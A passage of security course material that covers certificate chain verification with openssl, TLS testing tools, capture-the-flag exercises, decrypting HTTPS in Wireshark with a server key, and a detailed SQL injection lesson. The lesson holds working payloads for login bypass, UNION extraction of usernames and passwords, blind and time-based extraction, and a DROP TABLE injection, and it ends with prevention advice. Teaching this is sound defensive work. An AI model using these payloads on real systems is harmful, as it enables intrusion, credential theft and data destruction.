CQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEU
MBIGA1UEAxMLR1RTIFJvb3QgUjEwHhcNMjAwODEzMDAwMDQyWhcNMjcwOTMwMDAw
MDQyWjBGMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZp
Y2VzIExMQzETMBEGA1UEAxMKR1RTIENBIDFDMzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAPWI3+dijB43+DdCkH9sh9D7ZYIl/ejLa6T/belaI+KZ9hzp
kgOZE3wJCor6QtZeViSqejOEH9Hpabu5dOxXTGZok3c3VVP+ORBNtzS7XyV3NzsX
lOo85Z3VvMO0Q+sup0fvsEQRY9i0QYXdQTBIkxu/t/bgRQIh4JZCF8/ZK2VWNAcm
BA2o/X3KLu/qSHw3TT8An4Pf73WELnlXXPxXbhqW//yMmqaZviXZf5YsBvcRKgKA
gOtjGDxQSYflispfGStZloEAoPtR28p3CwvJlk/vcEnHXG0g/Zm0tOLKLnf9LdwL
tmsTDIwZKxeWmLnwi/agJ7u2441Rj72ux5uxiZ0CAwEAAaOCAYAwggF8MA4GA1Ud
DwEB/wQEAwIBhjAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwEgYDVR0T
AQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUinR/r4XN7pXNPZzQ4kYU83E1HScwHwYD
VR0jBBgwFoAU5K8rJnEaK0gnhS9SZizv8IkTcT4waAYIKwYBBQUHAQEEXDBaMCYG
CCsGAQUFBzABhhpodHRwOi8vb2NzcC5wa2kuZ29vZy9ndHNyMTAwBggrBgEFBQcw
AoYkaHR0cDovL3BraS5nb29nL3JlcG8vY2VydHMvZ3RzcjEuZGVyMDQGA1UdHwQt
MCswKaAnoCWGI2h0dHA6Ly9jcmwucGtpLmdvb2cvZ3RzcjEvZ3RzcjEuY3JsMFcG
A1UdIARQME4wOAYKKwYBBAHWeQIFAzAqMCgGCCsGAQUFBwIBFhxodHRwczovL3Br
aS5nb29nL3JlcG9zaXRvcnkvMAgGBmeBDAECATAIBgZngQwBAgIwDQYJKoZIhvcN
AQELBQADggIBAIl9rCBcDDy+mqhXlRu0rvqrpXJxtDaV/d9AEQNMwkYUuxQkq/BQ
cSLbrcRuf8/xam/IgxvYzolfh2yHuKkMo5uhYpSTld9brmYZCwKWnvy15xBpPnrL
RklfRuFBsdeYTWU0AIAaP0+fbH9JAIFTQaSSIYKCGvGjRFsqUBITTcFTNvNCCK9U
+o53UxtkOCcXCb1YyRt8OS1b887U7ZfbFAO/CVMkH8IMBHmYJvJh8VNS/UKMG2Yr
PxWhu//2m+OBmgEGcYk1KCTd4b3rGS3hSMs9WYNRtHTGnXzGsYZbr8w0xNPM1IER
lQCh9BIiAfq0g3GvjLeMcySsN1PCAJA/Ef5c7TaUEDu9Ka7ixzpiO2xj2YC/WXGs
Yye5TBeg2vZzFb8q3o/zpWwygTMD0IZRcZk0upONXbVRWPeyk+gB9lm+cZv9TSjO
z23HFtz30dZGm6fKa+l3D/2gthsjgx0QGtkJAITgRNOidSOzNIb2ILCkXhAd4FJG
AJ2xDx8hcFH1mt0G/FX0Kw4zd8NLQsLxdxP8c4CU6x+7Nz/OAipmsHMdMqUybDKw
juDEI/9bfU1lcKwrmz3O2+BtjjKAvpafkmO8l7tdufThcV4q5O8DIrGKZTqPwJNl
1IXNDw9bg1kWRxYtnCQ6yICmJhSFm/Y3m6xv+cXDBlHz4n/FsRC6UfTd
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFYjCCBEqgAwIBAgIQd70NbNs2+RrqIQ/E8FjTDTANBgkqhkiG9w0BAQsFADBX
MQswCQYDVQQGEwJCRTEZMBcGA1UEChMQR2xvYmFsU2lnbiBudi1zYTEQMA4GA1UE
CxMHUm9vdCBDQTEbMBkGA1UEAxMSR2xvYmFsU2lnbiBSb290IENBMB4XDTIwMDYx
OTAwMDA0MloXDTI4MDEyODAwMDA0MlowRzELMAkGA1UEBhMCVVMxIjAgBgNVBAoT
GUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxFDASBgNVBAMTC0dUUyBSb290IFIx
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAthECix7joXebO9y/lD63
ladAPKH9gvl9MgaCcfb2jH/76Nu8ai6Xl6OMS/kr9rH5zoQdsfnFl97vufKj6bwS
iV6nqlKr+CMny6SxnGPb15l+8Ape62im9MZaRw1NEDPjTrETo8gYbEvs/AmQ351k
KSUjB6G00j0uYODP0gmHu81I8E3CwnqIiru6z1kZ1q+PsAewnjHxgsHA3y6mbWwZ
DrXYfiYaRQM9sHmklCitD38m5agI/pboPGiUU+6DOogrFZYJsuB6jC511pzrp1Zk
j5ZPaK49l8KEj8C8QMALXL32h7M1bKwYUH+E4EzNktMg6TO8UpmvMrUpsyUqtEj5
cuHKZPfmghCN6J3Cioj6OGaK/GP5Afl4/Xtcd/p2h/rs37EOeZVXtL0m79YB0esW
CruOC7XFxYpVq9Os6pFLKcwZpDIlTirxZUTQAs6qzkm06p98g7BAe+dDq6dso499
iYH6TKX/1Y7DzkvgtdizjkXPdsDtQCv9Uw+wp9U7DbGKogPeMa3Md+pvez7W35Ei
Eua++tgy/BBjFFFy3l3WFpO9KWgz7zpm7AeKJt8T11dleCfeXkkUAKIAf5qoIbap
sZWwpbkNFhHax2xIPEDgfg1azVY80ZcFuctL7TlLnMQ/0lUTbiSw1nH69MG6zO0b
9f6BQdgAmD06yK56mDcYBZUCAwEAAaOCATgwggE0MA4GA1UdDwEB/wQEAwIBhjAP
BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTkrysmcRorSCeFL1JmLO/wiRNxPjAf
BgNVHSMEGDAWgBRge2YaRQ2XyolQL30EzTSo//z9SzBgBggrBgEFBQcBAQRUMFIw
JQYIKwYBBQUHMAGGGWh0dHA6Ly9vY3NwLnBraS5nb29nL2dzcjEwKQYIKwYBBQUH
MAKGHWh0dHA6Ly9wa2kuZ29vZy9nc3IxL2dzcjEuY3J0MDIGA1UdHwQrMCkwJ6Al
oCOGIWh0dHA6Ly9jcmwucGtpLmdvb2cvZ3NyMS9nc3IxLmNybDA7BgNVHSAENDAy
MAgGBmeBDAECATAIBgZngQwBAgIwDQYLKwYBBAHWeQIFAwIwDQYLKwYBBAHWeQIF
AwMwDQYJKoZIhvcNAQELBQADggEBADSkHrEoo9C0dhemMXoh6dFSPsjbdBZBiLg9
NR3t5P+T4Vxfq7vqfM/b5A3Ri1fyJm9bvhdGaJQ3b2t6yMAYN/olUazsaL+yyEn9
WprKASOshIArAoyZl+tJaox118fessmXn1hIVw41oeQa1v1vg4Fv74zPl6/AhSrw
9U5pCZEt4Wi4wStz6dTZ/CLANx8LZh1J7QJVj2fhMtfTJr9w4z30Z209fOU0iOMy
+qduBmpvvYuR7hZL6Dupszfnw0Skfths18dG9ZKb59UhvmaSGZRVbNQpsg3BZlvi
d0lIKO2d1xozclOzgjXPYovJJIultzkMu34qQb9Sz/yilrbCgj8=
-----END CERTIFICATE-----

There are three certificates. This is because the server is using a certificate chain. A certificate chain is when the CA signs and intermediate certificate which will then sign the actual certificate. Or multiple intermediate certificates. This is used to decentralize the certificate signing process, creating the hierarchical public key infrastructure with self signed root CAs at the top.

We store the three certificates from Google in the assets/ folder. We inspect the subject and issuer of each:

$ openssl x509 -noout -subject -issuer -in assets/google.crt
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services LLC, CN = GTS CA 1C3

$ openssl x509 -noout -subject -issuer -in assets/google_interm2.crt
subject=C = US, O = Google Trust Services LLC, CN = GTS CA 1C3
issuer=C = US, O = Google Trust Services LLC, CN = GTS Root R1

$ openssl x509 -noout -subject -issuer -in assets/google_interm1.crt
subject=C = US, O = Google Trust Services LLC, CN = GTS Root R1
issuer=C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA

The server certificate is for www.google.com and is issued and signed by C = US, O = Google Trust Services LLC, CN = GTS CA 1C3, who in turn is signed by C = US, O = Google Trust Services LLC, CN = GTS Root R1, who in turn is signed by the GlobalSign Root CA. We extracted the GlobalSign Root CA from Firefox and placed it in the assets/ folder as well:

$ openssl x509 -noout -subject -issuer -in assets/GlobalSignRootCA.crt
subject=C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
issuer=C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA

To verify the entire security chain we use:

$ cat google.crt google_interm2.crt google_interm1.crt > google_chain.crt
$ openssl verify -CAfile google_interm2.crt google_chain.crt
google_chain.crt: OK

The first command creates the google_chain.crt file with the chain of certificates, the most specific certificate first. The we use openssl verify to successfully verify the certificate chain.

Validation and Assessment of Remote Certificates

Mostly for testing purposes, we want to know whether a given HTTPS server setup is valid and whether it is secure (i.e. it uses strong TLS parameters). For this we can use the SSLTest Web App or the testssl.sh CLI tool.

SSLTest

Using SSLTest is quite easy. Enter the URL of the target web server and then wait for the results. Results come in a grade summary, that’s an average of several criteria, and a detailed analysis of the HTTPS security features.

Generally, it is advised to aim for a higher score. Note that a higher score may mean using certain security features that some browsers don’t support. So there needs to be a trade-off between security and browser support.

testssl.sh

Installing testssl.sh is as simple as cloning the repository and changing to a stable branch:

$ git clone https://github.com/drwetter/testssl.sh
[...]

$ cd testssl.sh/

$ git checkout -b v3.0.7 v3.0.7

Now just pass an URL to the testssl.sh script:

$ ./testssl.sh security.cs.pub.ro

If that doesn’t work, you can use Docker as detailed in the repository.

The output is similar to the one from SSLTest. The benefit of using testssl.sh is it allows automation and it doesn’t require a GUI browser to do the test.

Summary of Commands

See below a summary of commands useful for working with HTTPS and digital certificates.

Capture HTTP packets and print their contents (ash human-readable ASCII characters):

$ sudo tcpdump -A tcp port 80

Get remote web page:

$ wget http://www.google.com

$ wget https://www.google.com

$ curl http://www.google.com

$ curl https://www.google.com

Inspect certificate file:

$ openssl x509 -noout -text -in certificate.crt

$ openssl x509 -noout -subject -issuer -in certificate.crt

Verify certificate:

$ openssl verify -CAfile CA.crt certificate.crt

Extract certificate(s) from remote end:

$ openssl s_client -showcerts -connect www.google.com:443 -servername www.google.com < /dev/null 2> /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p'

Assess remote HTTPS and certificate security:

$ ./testssl.sh security.cs.pub.ro

Challenges

01. Investigate SSL/TLS-enabled Websites

Investigate the SSL/TLS configuration strength for different websites. Use:

Investigate the following websites:

Look for the following:

  • the overall grade
  • reasons for not getting the maximum grade
  • certificate expiration date
  • certification authority (CA)
  • SSL/TLS version supported

Fill the information above in a Google spreadsheet, a copy of this one.

02. Investigate Remote SSL/TLS Certificates

Download, inspect and verify remote certificates. Use openssl s_client to download a certificate. Use openssl x509 to investigate the downloaded certificate. Use the Certificate Manager-like interface in you browser to extract the corresponding root certificates. Use openssl verify to verify a certificate; use the extracted root certificate.

Investigate the following websites:

03. Investigate Remote SSL/TLS Certificates with SNI

Download, inspect and verify remote certificates.

Investigate the following websites:

These websites are colocated on the same IP address:

$ host security.cs.pub.ro
security.cs.pub.ro has address 141.85.227.114
security.cs.pub.ro mail is handled by 5 security.cs.pub.ro.

$ host koala.cs.pub.ro
koala.cs.pub.ro has address 141.85.227.114

$ host wiki.cs.pub.ro
wiki.cs.pub.ro is an alias for koala.cs.pub.ro.
koala.cs.pub.ro has address 141.85.227.114

So be sure to use SNI support (Server Name Indication) for the openssl s_client command to download the correct certificate. This means using the -servername option.

04. Inspect Me PEM

Get the flag from the certificate: https://sss-web.cyberedu.ro/challenge/25d5c870-fc5a-11ec-bf6f-33097481169b

05. Inspect Me DER

Get the flag from the certificate: https://sss-web.cyberedu.ro/challenge/82120dc0-fc5a-11ec-8907-a767cfc56b45

06. The Chosen One

Find the correct certificate and get the flag from it: https://sss-web.cyberedu.ro/challenge/38b30e80-fc68-11ec-9c1f-6177b11a278c

07. Proper Naming

Get the flag from http://141.85.224.117:3280 Submit the flag to: https://sss-web.cyberedu.ro/challenge/32215080-fc7b-11ec-940b-ad7b1c8e700c

08. Inside

Get the flag from http://141.85.224.117:3380 Submit the flag to: https://sss-web.cyberedu.ro/challenge/298a4d30-fc85-11ec-9624-c3b4658b387a

09. Only for Members

Connect via HTTPS to a https://141.85.224.117:31443. Use client certificate authentication to retrieve the flag.

The client certificate needs to be signed by the same certification authority as that of the server. See the files and scripts in the securing-communication/assets/ca/ folder in the repository.

Submit flag to: https://sss-web.cyberedu.ro/challenge/c8d977d0-fc9c-11ec-80d9-0de38261593f

Extra: Tutorial: Inspect HTTPS Traffic

In this tutorial challenge, we capture and aim to decrypt HTTPS traffic. We use Wireshark to capture traffic.

To decrypt traffic, we need to have access to the private key of the server. Copy the contents of the private key from the Nginx server set up above, from the /etc/letsencrypt/live/<hostname>/privkey.pem into a local file.

Start Wireshark (as root). Load the private key in Wireshark using instructions here.

Start packet capture in Wireshark and filter packets to / from the IP address of the server. Use a string such as ip.addr = <server_IP_address> in the filter line in Wireshark.

Use curl to request the index page from the server:

curl https://<hostname>

Packet capture in Wireshark will not show decrypted content, similar to the image below.

HTTPS not decrypted

This is because, by default, the connection uses SSL / TLS ciphers with PFS (Perfect Forward Secrecy) usually enabled with DHE (Diffie-Hellman Exchange). Don’t bother with the acronyms and their significance, we use them to let you know the terms and maybe look for additional information later on.

However, we can request curl to not use PFS, by choosing a simpler cipher. This simple cipher will use the private key that we are in possession of (and that we loaded into Wireshark) to encrypt traffic. This is also explained here.

Use curl to request the index page from the server with a simpler cipher that does not use DHE:

curl --ciphers AES256-SHA https://<hostname>

Now, the packet capture shows actual decrypted HTTP content, similar to the image below.

HTTPS decrypted

You can use Right click -> Follow -> HTTP stream to extract the HTTP traffic only.

In summary, with access to the private key, if the cipher used in the HTTPS connection (HTTP + SSL / TLS) doesn’t use DHE, we can decrypt the traffic. Of course, this requires access to the private key. In an actual attack this is another part of the attack vector where some server-side vulnerability allows the extraction of the private key.

Resources and Tools

Further Reading

4 -

SQL Injection

In this session, we’ll explain what SQL injection is, describe some common examples, explain how to find and exploit various kinds of SQL injection vulnerabilities, and summarize how to prevent SQL injection.

NOTE:

For this session you’ll need to use Burp Suite so please follow the links in the Further Reading section to set it up if you haven’t done so yet.[2,3,4]

What is SQL injection

SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows attackers to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application’s content or behavior.

In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure or perform a denial-of-service attack.

What is the impact of a successful SQL injection attack?

A successful SQL injection attack can result in unauthorized access to sensitive data, such as passwords, credit card details, or personal user information. Many high-profile data breaches in recent years have been the result of SQL injection attacks, leading to reputational damage and regulatory fines. In some cases, an attacker can obtain a persistent backdoor into an organization’s systems, leading to a long-term compromise that can go unnoticed for an extended period.

SQL injection examples

There are a wide variety of SQL injection vulnerabilities, attacks, and techniques, which arise in different situations. Some common SQL injection examples include:


Retrieving hidden data

Consider a shopping application that displays products in different categories. When the user clicks on the Gifts category, their browser requests the URL:

https://insecure-website.com/products?category=Gifts

This causes the application to make an SQL query to retrieve details of the relevant products from the database:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

This SQL query asks the database to return:

  • all details (*)
  • from the products table
  • where the category is Gifts
  • and released is 1.

The restriction released = 1 is being used to hide products that are not released. For unreleased products, presumably released = 0.

The application doesn’t implement any defenses against SQL injection attacks, so an attacker can construct an attack like:

https://insecure-website.com/products?category=Gifts'--

This results in the SQL query:

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

The key thing here is that the double-dash sequence -- is a comment indicator in SQL, and means that the rest of the query is interpreted as a comment. This effectively removes the remainder of the query, so it no longer includes AND released = 1. This means that all products are displayed, including unreleased products.

Going further, an attacker can cause the application to display all the products in any category, including categories that they don’t know about:

https://insecure-website.com/products?category=Gifts'+OR+1=1--

This results in the SQL query:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

The modified query will return all items where either the category is Gifts, or 1 is equal to 1. Since 1=1 is always true, the query will return all items.

Subverting application logic

Consider an application that lets users log in with a username and password. If a user submits the username wiener and the password bluecheese, the application checks the credentials by performing the following SQL query:

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

If the query returns the details of a user, then the login is successful. Otherwise, it is rejected.

Here, an attacker can log in as any user without a password simply by using the SQL comment sequence -- to remove the password check from the WHERE clause of the query. For example, submitting the username administrator'-- and a blank password results in the following query:

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

This query returns the user whose username is administrator and successfully logs the attacker in as that user.

Retrieving data from other database tables

In cases where the results of an SQL query are returned within the application’s responses, an attacker can leverage an SQL injection vulnerability to retrieve data from other tables within the database. This is done using the UNION keyword, which lets you execute an additional SELECT query and append the results to the original query.

For example, if an application executes the following query containing the user input “Gifts”:

SELECT name, description FROM products WHERE category = 'Gifts'

then an attacker can submit the input:

' UNION SELECT username, password FROM users--

This will cause the application to return all usernames and passwords along with the names and descriptions of products.

SQL injection UNION attacks

When an application is vulnerable to SQL injection and the results of the query are returned within the application’s responses, the UNION keyword can be used to retrieve data from other tables within the database. This results in an SQL injection UNION attack.

The UNION keyword lets you execute one or more additional SELECT queries and append the results to the original query. For example:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

This SQL query will return a single result set with two columns, containing values from columns a and b in table1 and columns c and d in table2.

For a UNION query to work, two key requirements must be met:

  • The individual queries must return the same number of columns.
  • The data types in each column must be compatible between the individual queries.

To carry out an SQL injection UNION attack, you need to ensure that your attack meets these two requirements. This generally involves figuring out:

  • How many columns are being returned from the original query?
  • Which columns returned from the original query are of a suitable data type to hold the results from the injected query?

Determining the number of columns required in an SQL injection UNION attack

When performing an SQL injection UNION attack, there are two effective methods to determine how many columns are being returned from the original query.

The first method involves injecting a series of ORDER BY clauses and incrementing the specified column index until an error occurs. For example, assuming the injection point is a quoted string within the WHERE clause of the original query, you would submit:

  • ' ORDER BY 1--
  • ' ORDER BY 2--
  • ' ORDER BY 3--

etc.

This series of payloads modifies the original query to order the results by different columns in the result set. The column in an ORDER BY clause can be specified by its index, so you don’t need to know the names of any columns. When the specified column index exceeds the number of actual columns in the result set, the database returns an error, such as:

The ORDER BY position number 3 is out of range of the number of items in the select list.

The application might actually return the database error in its HTTP response, or it might return a generic error, or simply return no results. Provided you can detect some difference in the application’s response, you can infer how many columns are being returned from the query.

The second method involves submitting a series of UNION SELECT payloads specifying a different number of null values:

  • ' UNION SELECT NULL--
  • ' UNION SELECT NULL,NULL--
  • ' UNION SELECT NULL,NULL,NULL--

etc.

If the number of nulls does not match the number of columns, the database returns an error, such as:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

Again, the application might actually return this error message, or might just return a generic error or no results. When the number of nulls matches the number of columns, the database returns an additional row in the result set, containing null values in each column. The effect on the resulting HTTP response depends on the application’s code. If you are lucky, you will see some additional content within the response, such as an extra row on an HTML table. Otherwise, the null values might trigger a different error, such as a NullPointerException. Worst case, the response might be indistinguishable from that which is caused by an incorrect number of nulls, making this method of determining the column count ineffective.

NOTE:

  • The reason for using NULL as the values returned from the injected SELECT query is that the data types in each column must be compatible between the original and the injected queries. Since NULL is convertible to every commonly used data type, using NULL maximizes the chance that the payload will succeed when the column count is correct.
  • In Oracle, every SELECT query must use the FROM keyword and specify a valid table. There is a built-in table in Oracle called DUAL which can be used for this purpose. So the injected queries in Oracle would need to look like: ' UNION SELECT NULL FROM DUAL--.
  • The payloads described use the double-dash comment sequence -- to comment out the remainder of the original query following the injection point. In MySQL, the double-dash sequence must be followed by a space. Alternatively, the hash character # can be used to identify a comment.

For more details of database-specific syntax, see the SQL injection cheat sheet.

Finding columns with a useful data type in an SQL injection UNION attack

The reason for performing an SQL injection UNION attack is to be able to retrieve the results from an injected query. Generally, the interesting data that you want to retrieve will be in string form, so you need to find one or more columns in the original query results whose data type is, or is compatible with, string data.

Having already determined the number of required columns, you can probe each column to test whether it can hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn. For example, if the query returns four columns, you would submit:

  • ' UNION SELECT 'a',NULL,NULL,NULL--
  • ' UNION SELECT NULL,'a',NULL,NULL--
  • ' UNION SELECT NULL,NULL,'a',NULL--
  • ' UNION SELECT NULL,NULL,NULL,'a'--

If the data type of a column is not compatible with string data, the injected query will cause a database error, such as:

Conversion failed when converting the varchar value 'a' to data type int.

If an error does not occur, and the application’s response contains some additional content including the injected string value, then the relevant column is suitable for retrieving string data.

Using an SQL injection UNION attack to retrieve interesting data

When you have determined the number of columns returned by the original query and found which columns can hold string data, you are in a position to retrieve interesting data.

Suppose that:

  • The original query returns two columns, both of which can hold string data.
  • The injection point is a quoted string within the WHERE clause.
  • The database contains a table called users with the columns username and password.

In this situation, you can retrieve the contents of the users table by submitting the input:

' UNION SELECT username, password FROM users--

Of course, the crucial information needed to perform this attack is that there is a table called users with two columns called username and password. Without this information, you would be left trying to guess the names of tables and columns. In fact, all modern databases provide ways of examining the database structure, to determine what tables and columns it contains.

Retrieving multiple values within a single column

In the preceding example, suppose instead that the query only returns a single column.

You can easily retrieve multiple values together within this single column by concatenating the values together, ideally including a suitable separator to let you distinguish the combined values. For example, in Oracle you could submit the input:

' UNION SELECT username || '~' || password FROM users--

This uses the double-pipe sequence || which is a string concatenation operator in Oracle. The injected query concatenates together the values of the username and password fields, separated by the ~ character.

The results from the query will let you read all of the usernames and passwords, for example:

...
administrator~s3cure
wiener~peter
carlos~montoya
...

Note that different databases use different syntax to perform string concatenation. For more details, see the SQL injection cheat sheet.

Examining the database

Following the initial identification of an SQL injection vulnerability, it is generally useful to obtain some information about the database itself. This information can often pave the way for further exploitation.

You can query the version details for the database. The way that this is done depends on the database type, so you can infer the database type from whichever technique works. For example, in Oracle you can execute:

SELECT * FROM v$version

You can also determine what database tables exist, and which columns they contain. For example, on most databases you can execute the following query to list the tables:

SELECT * FROM information_schema.tables

Querying the database type and version

Different databases provide different ways of querying their version. You often need to try out different queries to find one that works, allowing you to determine both the type and version of the database software.

The queries to determine the database version for some popular database types are as follows:

Database typeQuery
Microsoft, MySQLSELECT @@version
OracleSELECT * FROM v$version
PostgreSQLSELECT version()

For example, you could use a UNION attack with the following input:

' UNION SELECT @@version--

This might return output like the following, confirming that the database is Microsoft SQL Server, and the version that is being used:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

Blind SQL injection

In this section, we’ll describe what blind SQL injection is, explain various techniques for finding and exploiting blind SQL injection vulnerabilities.

What is blind SQL injection?

Blind SQL injection arises when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.

With blind SQL injection vulnerabilities, many techniques such as UNION attacks are not effective, because they rely on being able to see the results of the injected query within the application’s responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used.

Exploiting blind SQL injection by triggering conditional responses

Consider an application that uses tracking cookies to gather analytics about usage. Requests to the application include a cookie header like this:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

When a request containing a TrackingId cookie is processed, the application determines whether this is a known user using an SQL query like this:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If it returns data (because a recognized TrackingId was submitted), then a “Welcome back” message is displayed within the page.

This behavior is enough to be able to exploit the blind SQL injection vulnerability and retrieve information by triggering different responses conditionally, depending on an injected condition. To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

xyz' AND '1'='1
xyz' AND '1'='2

The first of these values will cause the query to return results, because the injected AND '1'='1 condition is true, and so the “Welcome back” message will be displayed. Whereas the second value will cause the query to not return any results, because the injected condition is false, and so the “Welcome back” message will not be displayed. This allows us to determine the answer to any single injected condition, and so extract data one bit at a time.

For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. We can systematically determine the password for this user by sending a series of inputs to test the password one character at a time.

To do this, we start with the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

This returns the “Welcome back” message, indicating that the injected condition is true, and so the first character of the password is greater than m.

Next, we send the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

This does not return the “Welcome back” message, indicating that the injected condition is false, and so the first character of the password is not greater than t.

Eventually, we send the following input, which returns the “Welcome back” message, thereby confirming that the first character of the password is s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

We can continue this process to systematically determine the full password for the Administrator user.

NOTE:

The SUBSTRING function is called SUBSTR on some types of databases. For more details, see the SQL injection cheat sheet.

Inducing conditional responses by triggering SQL errors

In the preceding example, suppose instead that the application carries out the same SQL query, but does not behave any differently depending on whether the query returns any data. The preceding technique will not work, because injecting different Boolean conditions makes no difference to the application’s responses.

In this situation, it is often possible to induce the application to return conditional responses by triggering SQL errors conditionally, depending on an injected condition. This involves modifying the query so that it will cause a database error if the condition is true, but not if the condition is false. Very often, an unhandled error thrown by the database will cause some difference in the application’s response (such as an error message), allowing us to infer the truth of the injected condition.

To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true. With the first input, the CASE expression evaluates to 'a', which does not cause any error. With the second input, it evaluates to 1/0, which causes a divide-by-zero error. Assuming the error causes some difference in the application’s HTTP response, we can use this difference to infer whether the injected condition is true.

Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Exploiting blind SQL injection by triggering time delays

In the preceding example, suppose that the application now catches database errors and handles them gracefully. Triggering a database error when the injected SQL query is executed no longer causes any difference in the application’s response, so the preceding technique of inducing conditional errors will not work.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering time delays conditionally, depending on an injected condition. Because SQL queries are generally processed synchronously by the application, delaying the execution of an SQL query will also delay the HTTP response. This allows us to infer the truth of the injected condition based on the time taken before the HTTP response is received.

The techniques for triggering a time delay are highly specific to the type of database being used. On Microsoft SQL Server, input like the following can be used to test a condition and trigger a delay depending on whether the expression is true:

'; IF (1=2) WAITFOR DELAY '0:0:10'-- '; IF (1=1) WAITFOR DELAY '0:0:10'--

The first of these inputs will not trigger a delay, because the condition 1=2 is false. The second input will trigger a delay of 10 seconds, because the condition 1=1 is true.

Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time:

'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Second Order SQL Injection

A Second Order Injection is the same as a traditional injection attack but the payload is already stored in the database intentionally placed so that it can be triggered in another area of code.

Let’s look at an example and see how easy it is to exploit this vulnerability. This is a form of registration that uses parameterization, meaning that a vicious input will not affect the database.

$sql = "INSERT INTO user (username, password)  VALUES (:username, :password)";
$data = [
        'username' => $userName,
        'password' => $password,
        'first_name' => $firstName,
        'second_name' => $secondName
        ];
$stmt = $conn->prepare($sql);
$stmt->execute($data);

Suppose, however, that someone introduces the following structure as a name:

'; DROP TABLE user; --

This will not be a problem for this form, however, this MySQL code is in the database, and if another part of the code uses this name it can be executed. Let’s say that we select the user by name use the following code:

$sql = "SELECT * FROM user WHERE username = '{$userName}'";
$stmt = $conn->query($sql);
$user = $stmt->fetch();

Because for this piece of code we do not use the parameterization, the code that will be executed will become:

SELECT * FROM user WHERE username = ''; DROP TABLE user; --';

How to prevent blind SQL injection attacks?

Although the techniques needed to find and exploit blind SQL injection vulnerabilities are different and more sophisticated than for regular SQL injection, the measures needed to prevent SQL injection are the same regardless of whether the vulnerability is blind or not.

How to prevent SQL injection

Most instances of SQL injection can be prevented by using parameterized queries (also known as prepared statements) instead of string concatenation within the query.

The following code is vulnerable to SQL injection because the user input is concatenated directly into the query:

String query = "SELECT * FROM products WHERE category = '" + input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);

This code can be easily rewritten in a way that prevents the user input from interfering with the query structure:

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();

Parameterized queries can be used for any situation where untrusted input appears as data within the query, including the WHERE clause and values in an INSERT or UPDATE statement. They can’t be used to handle untrusted input in other parts of the query, such as table or column names, or the ORDER BY clause. Application functionality that places untrusted data into those parts of the query will need to take a different approach, such as white-listing permitted input values, or using different logic to deliver the required behavior.

For a parameterized query to be effective in preventing SQL injection, the string that is used in the query must always be a hard-coded constant, and must never contain any variable data from any origin. Do not be tempted to decide case-by-case whether an item of data is trusted, and continue using string concatenation within the query for cases that are considered safe. It is all too easy to make mistakes about the possible origin of data, or for changes in other code to violate assumptions about what data is tainted.

Tools

Burp Suite

Burp Suite is one of the most popular penetration testing and vulnerability finder tools, and is often used for checking web application security. With this tool you can see all the requests that are executed when interacting with a web application. You can change the requests to see different behaviors and you can set automatic requests with different parameters.

SQLmap

